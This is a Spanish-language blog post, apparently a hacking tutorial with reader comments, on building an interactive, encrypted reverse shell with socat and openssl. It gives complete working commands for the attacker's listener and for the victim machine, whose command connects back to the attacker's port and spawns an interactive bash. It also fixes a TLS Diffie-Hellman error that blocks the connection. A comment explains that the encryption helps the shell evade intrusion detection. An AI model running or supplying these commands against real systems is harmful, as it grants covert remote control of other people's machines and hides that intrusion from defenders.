Shell inversa interactiva y cifrada con socat y openssl

Tras leer el artículo de alguien en la fisi (http://blog.alguien.site/2016/05/shell-reversa-interactiva-lo-hackback.html), me puse a investigar como mejorar la técnica de creación de una shell inversa de forma interactiva y además por un canal seguro.
Hoy me gustaría compartir con vosotros como crear una shell inversa de forma interactiva con socat y como cifrar ese canal a través de openssl.

Dicho esto vamos al lío :-)

Lo primero tenemos dos terminales, una de la victima y la otra del atacante.

Ya se que lo sabréis la mayoría, pero por si acaso antes de nada os comento la diferencia entre shell directa y shell inversa:

-Shell directa: El atacante se conecta directamente a la victima.
-Shell inversa: En este otro caso sería la victima la que se conectaría al atacante (usada habitualmente para evadir sistemas de firewall)


ATACANTE

Lo primero de todo sería generar un certificado con openssl y dejar un puerto a la escucha mediante socat en la máquina atacante.

openssl req -new -x509 -days 365 -nodes -out cert.pem -keyout cert.pem && \
    socat `tty`,raw,echo=0 openssl-listen:1237,reuseaddr,cert=cert.pem,verify=0

VICTIMA

Ahora ejecutaríamos lo siguiente en la máquina victima:

ps -ef | grep -q '[o]penssl-connect' || \
    socat openssl-connect::1237,verify=0 exec:bash,pty,stderr,setsid

El tema es que nos casca la conexión con el siguiente error:

socat[3287] E SSL_connect(): error:14082174:SSL routines:SSL3_CHECK_CERT_AND_ALGORITHM:dh key too small

Este error es debido al Logjam Attack (https://weakdh.org/) y podríamos evitarlo repitiendo el proceso anterior con ejecuciones separadas de openssl y socat y entre medias de ambas ejecutar los siguientes comandos:

openssl dhparam -out dhparams.pem 2048
cat dhparams.pem >> cert.pem


Repetimos por tanto el proceso anterior:
ATACANTE

Lo primero sería generar un certificado con openssl y dejar un puerto a la escucha mediante socat en la máquina atacante ya que estamos hablando de una reverse shell.

openssl req -new -x509 -days 365 -nodes -out cert.pem -keyout cert.pem

openssl dhparam -out dhparams.pem 2048
cat dhparams.pem >> cert.pem


socat `tty`,raw,echo=0 openssl-listen:1237,reuseaddr,cert=cert.pem,verify=0


Ahora sí hemos generado el certificado y dejado un puerto a la escucha en la máquina atacante.



VICTIMA

Ahora ejecutaríamos lo siguiente en la máquina victima para conectar al puerto que está escuchando en la máquina atacante.

ps -ef | grep -q '[o]penssl-connect' || \
    socat openssl-connect:IP_VICTIMA:1237,verify=0 exec:bash,pty,stderr,setsid
 

A partir de ahora tendríamos una shell inversa y cifrada contra el equipo victima, y podemos ver que sería totalmente interactiva puesto que nos funcionarían programas del tipo top, vim, ssh, su, sudo o cualquier programa que solicite cualquier acción de forma interactiva para el usuario ya sea solicitando una password como es el caso de ssh, su y sudo o de otra manera como top y vim.

Más info.

https://nerdvana.org/posts/reverse-shell-via-socat
https://youremindmeofmymother.com/2015/08/21/socat-ssl-ssl-routinesssl3_check_cert_and_algorithmdh-key-too-small/
http://blog.stalkr.net/2015/12/from-remote-shell-to-remote-terminal.html

5 comentarios :

  1. entiendo q si no se usan 2048 bits peta pq el sistema está parcheado contra dh debiles

    ResponderEliminar
  2. Pues vaya.... poniendo seguridad en un ataque de seguridad..... es como el ladrón que va a robar y conecta la alarma del coche para que no se lo roben.....

    ResponderEliminar
    Respuestas
    1. no es lo mismo. Cuando realizas un ataque y obtienes una shell inversa cifrarlo te ayuda por ejemplo a que ese canal no pueda detectarlo tan fácilmente un IDS...

      volviendo a tu ejemplo, es como si el ladrón que roba el coche cambia la matrícula para que la policía no identifique que se trata de un coche robado al tratar de cruzar la frontera...

      Eliminar